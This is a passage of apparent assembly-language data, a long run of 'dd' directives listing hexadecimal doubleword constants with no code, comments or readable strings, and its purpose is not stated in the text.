97BF02C0h, 46950F30h, 0CDA0E5B9h dd 57DBAD27h, 0D543C06h, 16488DE7h, 0C05A1C0Ah, 6813DAC4h dd 1AF4C0Eh, 0D903E4A8h, 7288CCCh, 0A6B561B4h, 0CE97D0EAh dd 0B9007051h, 0F1383921h, 1C8D7ADFh, 400E89CFh, 8855BF5Fh dd 731E7B31h, 4019D52h, 32E94050h, 0A4004829h, 4B0E5FB9h dd 85C7707h, 0FD4338C9h, 809391CFh, 0AB3EB822h, 1B10039Eh dd 5DB603B7h, 0E50CAD80h, 9BAA180Eh, 2E1D4080h, 34DA04Ah dd 5F2B297Fh, 69055611h, 5EC72A95h, 0FC687418h, 8D2601B3h dd 2A92114Fh, 0DC10429Fh, 0EA0CF000h, 0CB45021h, 560A37E2h dd 0B7258050h, 0A32D717Eh, 599C80D8h, 0DD6D6Eh, 9AD2AE12h dd 92E6625Dh, 3E7CE4EBh, 1B233600h, 0F0E2AA0h, 707F00FBh dd 0E2A75B16h, 0D6007DCEh, 648FD991h, 0BC3E02h, 27129C90h dd 0EE1D38B5h, 0E8285B03h, 0F89859C9h, 39BF8DADh, 73005E3Ah dd 1083F512h, 1F003CA3h, 96514156h, 479586h, 94D01163h dd 0DE985E1Eh, 3F619A1Fh, 27756BCFh, 0B857773Dh, 0CD9DA830h dd 0D4E00A5h, 37C9E68h, 0D8004AD6h, 0CBD01E25h, 0FC623Fh dd 0A9AD8E1Ch, 0B0F43E68h, 9775BE01h, 0BC0898E1h, 1CC3C2C4h dd 13B73643h, 1097FFh, 2BA2215h, 497C0F05h, 0D0081F2Ah dd 124D00EBh, 0EB546DDh, 239DCE00h, 7996C203h, 0BF5D0299h dd 67F1B12Eh, 0C0921321h, 77B08CCh, 0D3F05F34h, 21EC4607h dd 0C0BDA400h, 0D4A6B993h, 0DD260072h, 40F1B755h, 730E4BABh dd 81605D6Dh, 0ED75A05Fh, 2D3C432Fh, 53C0B6B3h, 0D90EBE4Dh dd 97D76018h, 5ADA68D0h, 0E75C00A9h, 2C5E4C1h, 513B2169h dd 8641818Dh, 755D9855h, 203A8992h, 9C5C3974h, 3088B300h dd 0A40927BAh, 0C42F465h, 7213203h, 0A80F36E8h, 805A4895h dd 6133ECFDh, 40AF00ACh, 735FD6AEh, 631CE15Ch, 6E5E314Fh dd 9547880h, 171566DAh, 0C97E9h, 76F60812h, 7100A623h dd 46FE9103h, 0EDE3F95h, 0AB4165Eh, 680051ABh, 0BD57AC7Eh dd 39A3BE3Eh, 0F14980F4h, 0F2F6E55Ah, 0D96E00D3h, 12CDF5B5h dd 0F706EFDCh, 9FD49B0Bh, 78410008h, 0E5C53F25h, 470F7A86h dd 20D27E59h, 490A3E9Fh, 0CA610169h, 0C2FFE88Fh, 137E95Ah dd 0BA1F36E5h, 67CEAB04h, 83C03F2Bh, 6D5E4CA7h, 1ABCC91Fh dd 0F3EB6300h, 861C25h, 87A9E7D6h, 0BFE8815Fh, 0C63BBC00h dd 62918D12h, 291562C9h, 4E22E48Ah, 13A22295h, 64387D21h dd 0AF107E02h, 86E8994h, 70EF208Ah, 10E59222h, 21BC0F4Fh dd 0F4F208AAh, 88242688h, 968866C0h, 0FD338C11h, 28A21AA1h dd 29118163h, 6576C032h dd 64E51E9h, 0A19EDA14h, 5128FE50h, 4022F544h, 0E20FE8E6h dd 0E03C0BBAh, 10A52C77h, 7ADB1F28h, 56A44037h, 0B665BFF7h dd 20F04300h, 7F3F71CDh, 644D0058h, 0E14A091Ah, 991D9234h dd 0E780DF97h, 5E0D2296h, 586B3F3Bh, 0F7E38B80h, 0C1EBC9C7h dd 5F4EC600h, 0B3A32E85h, 77F6008Eh, 518D24CBh, 9600BC34h dd 0EED676B5h, 0D262ADh, 0CE690D11h, 0EAC352D0h, 2790FE00h dd 35445FAEh, 7C34003Ah, 7882E9B4h, 7671190Eh, 7B04FB00h dd 6AA7A951h, 0B67302EAh, 5DE67CD4h, 3E44C380h, 7E007A14h dd 1C6E5694h, 6407C8h, 0E3E8DB25h, 0C4143F93h, 110095E8h dd 9C54AAF6h, 77872D38h, 0F3C90D7h, 83405E12h, 0DC496060h dd 0B700F553h, 0A921A787h, 0B5F1BDh, 0C13332CFh, 16EE9B26h dd 619CAE09h, 0A9A380A1h, 1C10B4DFh, 42EC19h, 0B854F169h dd 3D01FE31h, 2A5D7C6Bh, 7180BA1Eh, 32DD61A1h, 5400E880h dd 241CD381h, 3B36250h, 3CE17812h, 7800A811h, 0C449F9E5h dd 267E8h, 0BBC2FC77h, 0C7DB6BC3h, 5D1DAD00h, 0B5F3D1A7h dd 8C1F0747h, 0D0EF0E5Ch, 7CDA8152h, 0DD1D9700h, 71CCD2F2h dd 8AE30024h, 0FDABF101h, 21303FC4h, 0FCA3DCAAh, 9B0D00A6h dd 83865306h, 1900C769h, 681CACCAh, 15A3C35h, 57F7F834h dd 0C0467E48h, 2F0153DEh, 1EEC54FAh, 0ADFCBA27h, 0E4B4004Bh dd 88114D5Dh, 0F80748ABh, 6B8C0DAEh, 73125BC0h, 3EFF2A4h dd 0F5E88AB2h, 1AB83667h, 0E11DAD22h, 9443662Bh, 761563h dd 7EA8CE42h, 0E044E89Fh, 7F00BDE6h, 0AC6BE75Fh, 7492C2h dd 42E988B2h, 0B12D0B3Ch, 6F81FC01h, 53EC55F6h, 2E7CC4h dd 19B093CCh, 0B70CF86h, 1F709448h, 0A600E1EEh, 3BC91468h dd 60FB00A5h, 0D7B09A7Dh, 5800B801h, 8F56E6EFh, 48BFB90Ah dd 4100B5F9h, 0CE2EA593h, 21281ECAh, 907FC65h, 277B2A70h dd 4AC080D5h, 13CBAC72h, 55DE2Ch, 2A747162h, 60923D0h dd 188467CFh, 0F3B1A4h, 35E58EBDh, 7212D6CDh, 0E3F62C78h dd 0A60063FCh, 7C182A9Bh, 7548D58h, 0BC0E8FFFh, 556F20AEh dd 95E69C8Eh, 0F407A000h, 0BA6CE3F9h, 0B701005Fh, 0AC91D76h dd 0A2F6BC9Ah, 0FF16990Eh, 0E84AA03Dh, 2478EEh, 43278F1Bh dd 6F7F6B60h, 0A2D37E00h, 0C369D5B2h, 770100E2h, 0E35712BAh dd 0B6003F66h, 0D762CA22h, 782ABADh, 2CA5CB23h, 5F6710F0h dd 860042C6h, 2B1D737Fh, 48147B84h, 41002DD2h, 6405531Bh dd 470092DAh, 9EAC2587h, 1D240BC4h, 6E37958Eh, 2AF40037h dd 4AAEEE59h, 0DAA8221Eh, 0B373FDC0h, 93A397h, 0D6B92091h dd 5B5D4E63h, 30ADC00Eh, 0D977C082h, 24368009h, 0B0526Bh dd 26143306h, 4F0086F8h, 0CE663FFAh, 3F4CA67Dh, 0A98058BBh dd 0C2827AEFh, 0A3004210h, 0C3043C6Bh, 1F0EB4D8h, 0C05E621Fh dd 6F51B3F8h, 0C0704FB2h, 0A0124778h, 4100073Bh, 8E96920Ah dd 0AB40245Dh, 0C2C300E4h, 0E3F06889h, 92CD7F00h, 655A7984h dd 489600FDh, 28DE2B0h, 289AFFA5h, 0C62D2200h, 12924D4Fh dd 0D60E00CAh, 0E70F875Eh, 509059BEh, 0E4D8FF00h, 0B38B8939h dd 18C0045h, 0E29D0A78h, 4F00CEB2h, 0D71F23Fh, 75E37A2h dd 663C4564h, 6096D031h, 797BB8FDh, 7EA0BC00h, 63703E33h dd 0DF61008Bh, 43BA4D5h, 180F504Bh, 40172E8Dh, 0F4459D02h dd 0A15C0AC1h, 3EC728Ah, 7D068938h, 0B75518F0h, 58098600h dd 4895C1F7h, 3BA2FE31h, 82003D36h, 1E0FE51Bh, 520F7EF3h dd 0C0379B8Ch, 0F7F68741h, 26D00F0h, 0D72A8E6Bh, 0C3124429h dd 90414F2Ch, 0E0A2B660h, 67A1FCh, 0BF7D0F04h, 991F726Eh dd 0C6008DECh, 29EC9D23h, 1F5610B9h, 40979B20h, 19C8E784h dd 1F00DB12h, 31B46CA5h, 761BEACh, 839CDEEBh, 29F1D014h dd 0AF003E4Bh, 1CB4EE09h, 1E1D877Ch, 8014D406h, 7F1373BEh dd 0FB00E7B9h, 0D9BFBA40h, 78E79B3h, 91AFCB43h, 0FC7E405Eh dd 0F9001BEAh, 73C09F4h, 1558839h, 95462887h, 2E182347h dd 16B19AA0h, 0F05E6F4Bh, 3D76B64Bh, 0BAA50100h, 0FEF9FAB8h dd 0B9CD24CCh, 0BB68001Eh, 0E291D34Bh, 9765D200h, 41CB3178h dd 23AA0FC2h, 7A6005FEh, 99625D67h, 91EF700h, 0AC4980B5h dd 47040E26h, 41C3ABC1h, 16D078F0h, 390988F7h, 80067018h dd 93DC4412h, 8F5E0757h, 0F0542C99h, 0DA74AFA3h, 85E2C6ECh dd 8328C900h, 42B0EB6Ah, 0E7C7004Ch, 96083F90h, 0CB07D64Dh dd 8886C2D0h, 425F93C0h, 0C3D0046h, 0B8CF8CE6h, 1D000407h dd 0D36FA75Eh, 35882FDh, 4D79D608h, 14B8F59Dh, 38006134h dd 65FC2C69h, 72FF359h, 1F9B23BAh, 0A5C1B08Ah, 0E9307857h dd 0D3BC2A13h, 845D0BCFh, 0F80B917h, 593CDCDDh, 58EE6B00h dd 50A666E9h, 5A2000C3h, 0B47DA48h, 0A500D410h, 0A4BDF57Ch dd 801BF4h, 0B413E1C2h, 3EC54516h, 0E692D016h, 0D58C4D00h dd 0CB67B6h, 541E9CC3h, 319BE494h, 4F76CC00h, 1337054Bh dd 0B9FE07E7h, 0C33811EBh, 5EE8F2AEh, 8118193Ah, 5830A016h dd 26DD0FD4h, 1A80494Ch, 12BB0207h, 1D0333Bh, 21953287h dd 448EFC0Ah, 0E2405CB6h, 980DD8C4h, 0EE40CCFFh, 0B4CDB200h dd 72D5A114h, 3B910017h, 21B848DBh, 6A7A8E69h, 39393277h dd 76CE0040h, 0B12A9E42h, 8A58005Ch, 0B9C6D274h, 7C1CA980h dd 881F22Fh, 0FE55E459h, 3BBFC0h, 0C18C6E2Ah, 77F93E9Bh dd 6F92DD1Dh, 7B40B6C0h, 3B0BA854h, 808007CCh, 0B0D0AE14h dd 0FB00D3E6h, 876088FAh, 86CDEAh, 0F74D75A2h, 10F11777h dd 3B0C4101h, 383D8AF5h, 0C532A70h, 887708C6h, 150059E0h dd 0C1DB2639h, 0E580E3h, 0AC844755h, 499E5C04h, 0A499FB00h dd 40C22834h, 8D6900E0h, 0ED7FF073h, 14010747h, 49BB8B67h dd 7871540Bh, 34B5FFCh, 0A879306Bh, 219395D1h, 0D98198A0h dd 0C71C7EE4h, 3F80B6F1h, 6F15E4A6h, 3B4B0153h, 8D4FFE03h dd 2DEDC8D5h, 1A3F9400h, 3A91C435h, 0B716074Dh, 80C379B2h dd 1FDC27A5h, 0A8DFFD00h, 0B4A7EA46h, 9B4000AAh, 31CE425Bh dd 53019039h, 6CCCDC3h, 45FC6324h, 93D00E55h, 0B036FBC2h dd 7400C680h, 0BB0E41F8h, 45EBE7h, 2732625Bh, 0F6FE7E46h dd 3B3FED00h, 29B2F05h, 0C284009Fh, 16BA1103h, 0CD008EF0h dd 0D41F8A5Dh, 98420Ah, 0AF6F8D06h, 0FCE98C43h, 873B5A24h dd 0FCA91Eh, 498B31A2h, 118E57h, 1C25D0A5h, 71E4F2DCh dd 96E267B8h, 0ABE9CB02h, 60FD2D80h, 33DCAB6h, 4CC68307h dd 8FB89170h, 0E9B822A2h, 28142D00h, 0A340AC3Ah, 2B900F37h dd 0BC60E120h, 0C41018AAh, 8DCCCF03h, 0C728734Bh, 0EBF42F60h dd 49C3018Eh, 0DCB6D1E6h, 39708F63h, 0F0CC4093h, 2E9DC5h dd 838E53B7h, 811C4C57h, 8135773Dh, 38159870h, 0C2D4A43Fh dd 9ABF068Eh, 0CC497961h, 52B22F00h, 805D407Ch, 6BE8018Ch dd 4BEAE5D1h, 0A868BAFFh, 81036CE2h, 0F71E5E72h, 2FD9C8C9h dd 0D49F2616h, 8B8C004Ch, 0E271FDF0h, 7DA53Dh, 586274FAh dd 0CB1727h, 359E8D38h, 66230E44h, 0CCFCA700h, 107C3A9h dd 306F03F8h, 1448D8FEh, 9BDE1809h, 0ADC58099h, 20BEF42h dd 0F15EE715h, 9EC08393h, 3C00DBF4h, 0A5A17520h, 9E24D1h dd 5E7670FBh, 887BAFE0h, 6F9D5603h, 71393E83h, 334D00D0h dd 0ABECC4DAh, 0AE009B96h, 3082566Ch, 6E75B6h, 0CD2D88F3h dd 0F7B35DA0h, 0E7A40C00h, 7EB6AADBh, 0B5540078h, 8B943305h dd 7A016BA0h, 0DA43FC15h dd 0C340C7Fh, 4D1624DEh, 0B17D0324h, 0FDB0C3E1h, 8B50C141h dd 9F73BBE9h, 9EDBAA00h, 1D9780Eh, 653B007Fh, 3520D189h dd 98009D45h, 3F31D462h, 14B09D0h, 57F90F36h, 0F8102EAEh dd 92000C7Eh, 0DBC38185h, 0DA7D53h, 0A3F208B9h, 317C1A5h dd 266320C0h, 0EA7716h, 191AB7DFh, 1F27E156h, 7DD8BD07h dd 0DE00963Bh, 3FEE9BBFh, 4700689Ah, 0DA299165h, 2E38F37Dh dd 0F7941DE3h, 6A74A400h, 488B2396h, 73004446h, 83D74F30h dd 0C1304E7Eh, 325EF0B7h, 0FAB100E2h, 4599AED2h, 142085BEh dd 30CE000Ch, 245CD5ADh, 0D0005331h, 226C988Eh, 3B513D4Bh dd 0FFA67A89h, 0B7540030h, 53F8EF17h, 7B4E300Eh, 8BCFA0D7h dd 44675Ah, 0CD3E2349h, 5672EDF3h, 0B873E000h, 0C02EB317h dd 75910750h, 402C438Bh, 935AC762h, 0F5528200h, 34892380h dd 86391DB2h, 712C8066h, 28D1CBDAh, 5243858h, 3ED77A9Eh dd 6D4F8B80h, 8A01F64h, 1B5F40ADh, 0FBB3F5EEh, 0E62D3Fh dd 6973218Eh, 0B9619Ch, 637E137Fh, 0D49DA402h, 0E6C13604h dd 0C0AE4EF7h, 93ACA393h, 16C4971Ch, 79FBF3C0h, 304A75h dd 0F5659F4Ch, 6FE51DCCh, 5EEA160Eh, 2BC1A0E6h, 6D12D1Bh dd 0BB41E2F3h, 0A6E678F7h, 804F0B38h, 0D0F946B6h, 7B4CCFh dd 4E47EFD9h, 5D3F1B38h, 0B912F390h, 8841BDA7h, 1A6E3AFh dd 2D1420h, 26EB070h, 20D22F5Fh, 54F60400h, 0AB3412B2h dd 0E8ECA0B6h, 33240C2Ch, 4100818h, 0EE4C1F00h, 9CC7411h dd 0C8C705F3h, 0E46D91Eh, 796057ECh, 0F00F4526h, 2B1D9507h dd 0C230B82Ah, 12929C85h, 0DF833Dh, 1D5C4360h, 31C9AAFh dd 57C7BBDDh, 9F73E81Ch, 60B0003Eh, 0A5297EE0h, 0F0260C0Eh dd 8400997Bh, 0C8975419h, 0C314004Eh, 0FD40EC8Eh, 0A3B1713h dd 4A7F00FEh, 4592A381h, 3852FED5h, 0CC0901B7h, 0E0031BA5h dd 0F8E09E7Ah, 25E8F771h, 1FD9D0Eh, 23960B47h, 0E87CE61Ch dd 4A0449F6h, 3C25F846h, 1007572h, 25F20782h, 3F6EC8h dd 0A58E3EBCh, 63C64696h, 2F9C291Eh, 0E0D83686h, 0D2CD02C8h dd 0F1D62F9h, 0A2848840h, 0FEFC391Fh, 3C00771Eh, 13AC02BAh dd 4911486Fh, 98170600h, 9CCE5C56h, 0B119A71Dh, 0F41D6740h dd 0ACA9FEh, 1C5ED577h, 94CFF945h, 0E95CDA7Eh, 602F0148h dd 557E3392h, 767B32C0h, 4CD7B9Bh, 73FD15C3h, 3D0880BFh dd 0B504CA9h, 930010ECh, 9C41B66Ch, 0F08DF8A3h, 0FE0D2A80h dd 0E4F702FCh, 0F07951EEh, 4ACA4468h, 1262ED00h, 441FC052h dd 0E50E00DBh, 0FF34F61Ah, 0EC0BB671h, 80A32BC8h, 56776904h dd 868500FDh, 7F9FE36h, 0F40063D8h, 0B9830CC2h, 0A3934F2Bh dd 4580BC98h, 0C1E312h, 0E22E5B98h, 69F76632h, 0BC342B28h dd 0FDE17801h, 0A18F9E45h, 1D4A1DDCh, 0C2239573h, 0DC477FABh dd 0FD026440h, 0C952608Ah, 3A5D00D1h, 7582A820h, 1F0F6F30h dd 0A0919FCCh, 0C11CE459h, 57B82Fh, 0C70385C9h, 0DE9B7472h dd 15C23602h, 80326DECh, 0A44684A0h, 96F8FBBDh, 2F7C0738h dd 0F953FBD8h, 5707A880h, 490368AAh, 64D7819Bh, 69FC80E8h dd 1C7539F9h, 5B15BC03h, 503E34B3h, 1F484953h, 0FB40E510h dd 18ADBEEh, 0E798A0D2h, 0BCAE00A6h, 5129D830h, 5D019FB9h dd 31B385C3h, 0CC403DDAh, 2275578h, 6E79B153h, 0CC8E160h dd 3A007C0Eh, 0D1507539h, 0C534AB6Fh, 80E10D18h, 0FAC77F8Ch dd 8002613Ah, 0D580E563h, 2598ADh, 0CF46AB73h, 0BD6AACA0h dd 0F02DEE4h, 60DC24CBh, 4EB8E0E3h, 0D77100F3h, 97A662A9h dd 6D0790B8h, 0EB72D4AFh, 37A5CEC0h, 0B7F651h, 93973048h dd 17AADF69h, 2488EB00h, 2312DAD7h, 3F2B0009h, 54C86EF8h dd 1A00EC2Fh, 1EE41956h, 0E8B6A063h, 7A0D00F2h, 2289CFEBh dd 6D2698D7h, 0A901E8D4h, 32F5C241h, 48F97AC0h, 6712C8F7h dd 734C20DBh, 0FA01F5B0h, 6258830Dh, 5430C170h, 0A36073Ch dd 306A114Bh, 7A6B831h, 2B85382Eh, 982ED402h, 41E8687Eh dd 457F006Ch, 0C5D27269h, 0ED3EE317h, 0EFC9050Ch, 0D800D188h dd 56A73C2Dh, 83DC1530h, 7D00C422h, 962E90C7h, 7173C91Bh dd 6842E71Fh, 8E16A780h, 7D7A69h, 0D14AB646h, 34A4B887h dd 7F3B3Fh, 0FD73C29Ch, 0B8F27D9Dh, 2C709D8h, 3C40CF33h dd 8D004C19h, 0F4C43E7Ch, 71C373FCh, 3C264D52h, 94067900h dd 15EF5604h, 5B76D898h, 0E5FEB600h, 0A40D0F92h, 85DA00BFh dd 0C06CE0Bh, 187DB78Ch, 0E68FC400h, 0A0CCFA3Dh, 0D3B3182Fh dd 0B0ED10E7h, 0AD731A00h, 0F842A670h, 109818DCh, 1361A0A5h dd 88CC7228h, 0BE7EB713h, 0A88C7800h, 1B30319h, 0CA9DCE9Ah dd 20D5EF5Ah, 0D9005ECCh, 31264D0Ah, 193535Bh, 68CCACDAh dd 0D8898188h, 5D28701Ah, 5100F8CEh, 5AE8BA56h, 0B179C8h dd 5F01077Eh, 14A8D283h, 403A4D6Eh, 3F84E5B2h, 0E42C0095h dd 2E5386CDh, 0A00040C2h, 89830222h, 1429FADh, 0D4A2585Dh dd 30869296h, 43003844h, 828790FFh, 78954B16h, 8CD33CB4h dd 7024205Ch, 0AD750018h, 430347E1h, 6E00D773h, 733D58FEh dd 164BD05Ch, 9F50BFh, 61B6A8E7h, 8600239Eh, 161CED90h dd 0F36A4270h, 0EFD0460h, 7611A2D1h, 878763A7h, 2CEFC053h dd 0F4E48EE6h, 2B52170Ah, 8738BF28h, 86631591h, 76A450B0h dd 499D38A7h, 0BB196780h, 9A6018C8h, 0CCBF5Ch, 0F12410A0h dd 4D0C69h, 3F20D190h, 1418FEB7h, 58440430h, 6DA360h, 24FC58DFh dd 0F5CC5B2h, 0C4F1AB00h, 9C4698E2h, 738A0038h, 0BD6E89B1h dd 2601F4B4h, 32552037h, 6B60CB8Eh, 641E045Bh, 0C091774Bh dd 0D25868ECh, 0D58D5C0Eh, 8744C093h, 906C4Dh, 0C0DBEC28h dd 0E495ACCAh, 2A0025FCh, 71BFEDBCh, 90329Ch, 64355AB4h dd 430F1AF4h, 3C93AF07h, 4261EE97h, 0A4E9C4A7h, 49AE5020h dd 902701Ah, 4484CB85h, 36002070h, 70AE9031h, 7D4FF306h dd 971C00A4h, 4D03420Fh, 0EC00B8ADh, 66D69B48h, 0C72016h dd 93EFD241h, 559E7F75h, 4FE9A10Ah, 39C83Ah, 0DF03071Fh dd 0F34ECE32h, 7D5AD8h, 0AE77AF60h, 61FE8783h, 0ECFFC8CAh dd 0AB260F60h, 773C00EFh, 0B3EC4937h, 580089E9h, 0BD7687BBh dd 205CC6h, 399B4C6Dh, 24A93459h, 0C8375716h, 122C4001h dd 10307AE4h, 0EC67003Fh, 25AD309Ah, 0FE00DB2Bh, 0F4A93CE2h dd 0E76C1Ch, 0C284D492h, 71462EFCh, 2407C4A4h, 39E6117Ah dd 9C2B3AF1h, 0FC2DED0h, 8910E29Bh, 0E487EB29h, 0BABE1196h dd 8E0F204h, 0A01C875Ch, 0E1DED403h, 4AD2E681h, 287452D7h dd 0C6AE0020h, 7253E395h, 8300CFF0h, 0E0F6F3CBh, 1E06B0AAh dd 0E426225h, 4CE09F99h, 597E5A3Ah, 0CFBE2200h, 274D44A5h dd 5C1800DCh, 0D14BF90h, 421D94D7h, 8000A007h, 818708A6h dd 0FEA33E8Ah, 4EA73BBCh, 3600525Ch, 6B4426D0h, 13A703FAh dd 28B1DA1Dh, 13338F8h, 17ABF91Dh, 0ED152A40h, 9C5E1Eh dd 1D4888D4h, 59799061h, 0B0D25A00h, 22201729h, 0C8620581h dd 0C0B3EEF7h, 0ED58BE3Ah, 9D152504h, 98C0735Bh, 18B4DE05h dd 0A0F7AAD0h, 0E173C434h, 6CA83800h, 0A4F0F2F3h, 41A10490h dd 8345AE6Fh, 6DA89E82h, 7900777Eh, 0E33D8CABh, 688BDCh dd 0FD4CBF38h, 0C8ADAAB9h, 0BB6521Fh, 890269C0h, 28DA7BEh dd 0AEE8DFC4h, 0F1C02861h, 500B907h, 0C3F964BFh, 9A462h dd 0E4A10E40h, 0F2756561h, 0E72CDB00h, 0E88D4D39h, 9F0A00B9h dd 0BA572F6Dh dd 3C00EA50h, 7FF98BCDh, 0DB7BADh, 10F01949h, 6D3F075Fh dd 8375Ch, 0E29A8503h, 1F25C530h, 0C00A5CB6h, 0A259AEA9h dd 0B5004C10h, 7E283A32h, 3F048F4h, 738C2A7Ch, 64E8E457h dd 0A7F890D3h, 1750DF7Ah, 8500C491h, 59456247h, 0C92291h dd 553F97CEh, 696692D7h, 7C018977h, 11AEEEC3h, 0EFD07B73h dd 3680017h, 0E4BF94DBh, 6000C1D5h, 0D75BD48Bh, 0C3A50Bh dd 0FBCC9012h, 3A23F8FAh, 99893Eh, 0B05364C2h, 1FB8A6h dd 5F6E43C5h, 7C13AE9h, 96FB7400h, 940D5245h, 0B97B8Bh dd 4444AD4h, 557E37FEh, 95EAF5E4h, 0DD6A8C00h, 0D9B087F6h dd 75D80751h, 0A0A6882Eh, 35664E4Fh, 0D6081A0Fh, 0AB81C061h dd 0A9475Eh, 2629A07h, 0BD14EFA5h, 0D890400h, 61DE8271h dd 0DFA11357h, 0D6900731h, 0CAE46145h, 46D2C8FAh, 5EBAA200h dd 7123B53Eh, 0F6C47606h, 2864C061h, 42F81BBCh, 0EB3B7800h dd 0C6CE8573h, 709B60E8h, 6EC46B4Dh, 0AB160300h, 8D18471Dh dd 0AC2B1394h, 660B0045h, 46F24A62h, 567FF600h, 0E30CD6EAh dd 38644812h, 0F86DB700h, 0BD3C5948h, 0EE967E00h, 0BB5BB6ADh dd 0D5D6C5CCh, 0D3688061h, 893D4EBFh, 75950FB9h, 0F9632CA8h dd 41DE0027h, 43805FCFh, 970FCD3Fh, 40204604h, 1B7C13FBh dd 38E7482Ah, 9917B680h, 0C524A891h, 833D0050h, 46D8931Ch dd 7D4DF951h, 3D895880h, 4247DBD3h, 0CA0744F0h, 0A34AD663h dd 21D70630h, 1B910020h, 60BA99B5h, 0E900590Dh, 3D97D55Bh dd 16F9A7F3h, 0C53DCA8h, 0A32EF521h, 66006977h, 17C21C02h dd 188E48Eh, 4DA1488Ch, 0E056AFB8h, 4C066299h, 0CFEBB07h dd 83E50012h, 0E3BE6F12h, 4D008A64h, 6DFA86DCh, 18B86B71h dd 38892BE5h, 73247BAAh, 5100C03Eh, 0C0222A98h, 0BAAB0078h dd 839281C3h, 7600F6C2h, 5F3A7BBh, 1CDDF249h, 8BFA5Fh dd 0DFF43768h, 901C7FB3h, 40C0190Fh, 46219DEEh, 89F3001Bh dd 99BDDC91h, 0CCE5F6CEh, 0C70044EBh, 3ED99F27h, 29168Ah dd 80CCDAA3h, 0E51D4274h, 0F06BCB39h, 0FA12D50h, 0BDFFED00h dd 8B571E25h, 94EB0EC3h, 6CC09887h, 528AA4B5h, 2C0E9BB0h dd 3727635Bh, 92473D00h, 544EEAh, 39BE1933h, 15A3D78Dh dd 64384C00h, 7068ECF6h, 77D20E67h, 83604798h, 73BBCB48h dd 0F20355Ch, 0E1C427E0h, 3B8FBDFCh, 7D30F4C5h, 32A005Bh dd 0FD98D9D3h, 1600978Ch, 72470FF3h, 6380EDAh, 0DE8DB11Bh dd 0EC0164A0h, 0E4AE3B58h, 0B440A17Fh, 369397h, 7B198999h dd 0F0AD4964h, 3800ED98h, 0A287E68Ch, 24367884h, 0F2177h dd 0E42CDD7Bh, 3800F720h, 4CDB250h, 5D91DEh, 0D89F3108h dd 538060F8h, 250DC000h, 0DC45EFE5h, 8B5900A8h, 5AC2741Bh dd 30011CC6h, 41A00C7Eh, 9CF04FECh, 0D1DF13A6h, 0B0F902DDh dd 8FE04C11h, 0C80022AAh, 42A19955h, 0A65BDAh, 0ED90BF40h dd 21A3A7E8h, 53DE0800h, 94AD969Ah, 0C64EA8Ch, 7170CEFFh dd 0C0000648h, 0D52F5C3Fh, 1C3BC25Ah, 65F02Bh, 4C5B72DEh dd 0E026603Dh, 0B300C705h, 9A6D40FCh, 7509874h, 6369DFA5h dd 70EBF00Ah, 0A903C451h, 1D492FCAh, 3E207B30h, 6B00861Ah dd 89E0D506h, 0E8F9A411h, 2B038BE4h, 49035478h, 0A51DA042h dd 0DCDB000Bh, 6983ED55h, 901F8A2Eh, 2C070EF0h, 29B04008h dd 2C50760h, 7A2E30A0h, 0F0A113B5h, 0D0843B9Ah, 150062E3h dd 587808C9h, 0DCC59Ch, 30C75697h, 754F64A8h, 0DA6CFF00h dd 514B3F88h, 0A7050021h, 626B61D3h, 8A00524Dh, 72E1C80Ch dd 135A56ECh, 9C752Ch, 0C46A0828h, 0AFFAE469h, 0E7479002h dd 60F2464Fh, 13B1F1CCh, 0C7B796h, 7AF9FF74h, 33008E32h dd 726EEE9Fh, 0E870BAEh, 0C02D6CC8h, 65D69260h, 700A7BCh dd 0D09F5BCEh, 0C3CD05h, 9C0C9DA4h, 2B181B47h, 0D34D88F2h dd 344722Ch, 1ED40F86h, 87604F1Ah, 0F2CAA74h, 0BF14EB00h dd 0D58265F1h, 0E08C3945h, 7A01E305h, 310800Bh, 0BF00DDE6h dd 4A75F25Ch, 0BC8E6Bh, 8BBF3C1h, 88531C62h, 0C8E5FB00h dd 0C51513C2h, 765F005Bh, 31D46480h, 1F0FD0FDh, 0C3099589h dd 88DEB1E4h, 29F81A7h, 45ADE7CCh, 4440A214h, 0B17939A6h dd 901A2400h, 77CE6567h, 765C2ECDh, 0E087007Ch, 0C37A940Ah dd 0B173D600h, 0A0EC51E2h, 2F0C2B7h, 10C4DD57h, 0D0C86426h dd 0DBFC1903h, 4CBD906Dh, 1760E5Dh, 884D3009h, 9689F460h dd 529ACFA0h, 0EAF5B815h, 88FA2EA0h, 7F70CC50h, 0C1B80052h dd 0B1C75535h, 0AC740D30h, 0D2C87802h, 4179A442h, 0BCF95810h dd 121398D0h, 2FC0B60h, 21269519h, 0FA01C7E0h, 245B7700h dd 0D2F3697Dh, 0BAB90096h, 201DC508h, 4B01AEE5h, 49166485h dd 0F430D650h, 38257BA4h, 0BB803A99h, 5FD048EAh, 0B917E2D2h dd 4C1DB15Dh, 0DA81B5C0h, 0E2E17h, 733A0356h, 8D846DFh dd 0F998438h, 40488F71h, 0A8541C5Fh, 0E09700D9h, 0A3E17898h dd 0AD17EB6Ah, 2AEA5ABh, 5ECBCC46h, 3FB394C0h, 73D27100h dd 30810852h, 404A07CFh, 0E71DC6F7h, 0D15F37B9h, 710AE8D7h dd 0D408312Eh, 0E40066A2h, 9D30EF33h, 7F02972h, 0E79BB97Bh dd 743C71Ch, 0AE8EB02Ah, 16335358h, 0F8BEF036h, 0B15E03h dd 6E9465F2h, 74DBF05Ah, 33D6A900h, 0E16AAE6Ch, 4DC7BC8h dd 85E3F95Eh, 572C83E4h, 0BA2420FFh, 9E3A7F25h, 3E0603DEh dd 0CA49D7BFh, 0EBB0414Ah, 8E249C32h, 9C2408h, 89BBE565h dd 98074EDBh, 3DCD1B76h, 80E0DA20h, 74BD751Dh, 0C4B0B5h dd 6FEA693Fh, 3675DDD5h, 0D6574700h, 40EF804Eh, 9BA900A8h dd 0A7441169h, 4C9862E9h, 0D5579D01h, 1917DEF5h, 0C063E6D8h dd 305B4418h, 843B59F7h, 902B26EAh, 0C140EC00h, 3A8F89ACh dd 681F1A9h, 0F29A2360h, 0AB002078h, 0A6027200h, 2563D12Bh dd 2F530064h, 0DA0549C9h, 234814B8h, 0F35500D4h, 80E2CBCFh dd 5DFD00D7h, 0F73E9E7Ch, 0BE13EBF6h, 0C800C598h, 0B21A8B4Bh dd 11080034h, 0ED6F5496h, 0C4BAF865h, 0EC00F673h, 932B38A9h dd 0EB29C3h, 0D6E124B4h, 945E7E58h, 0D5BB0612h, 4E00D7A8h dd 504AE0C5h, 0E23CA428h, 0CECA80ABh, 0EA148D6Bh, 5F1C0055h dd 80AF06E0h, 0BC0A015Eh, 0D4C103E4h, 8F9F5780h, 2A61085h dd 0DCB6387Dh, 8C50869Ch, 8107CFFEh, 0A63DD3ACh, 4D65E770h dd 0E8330B8Ch, 80DF24C0h, 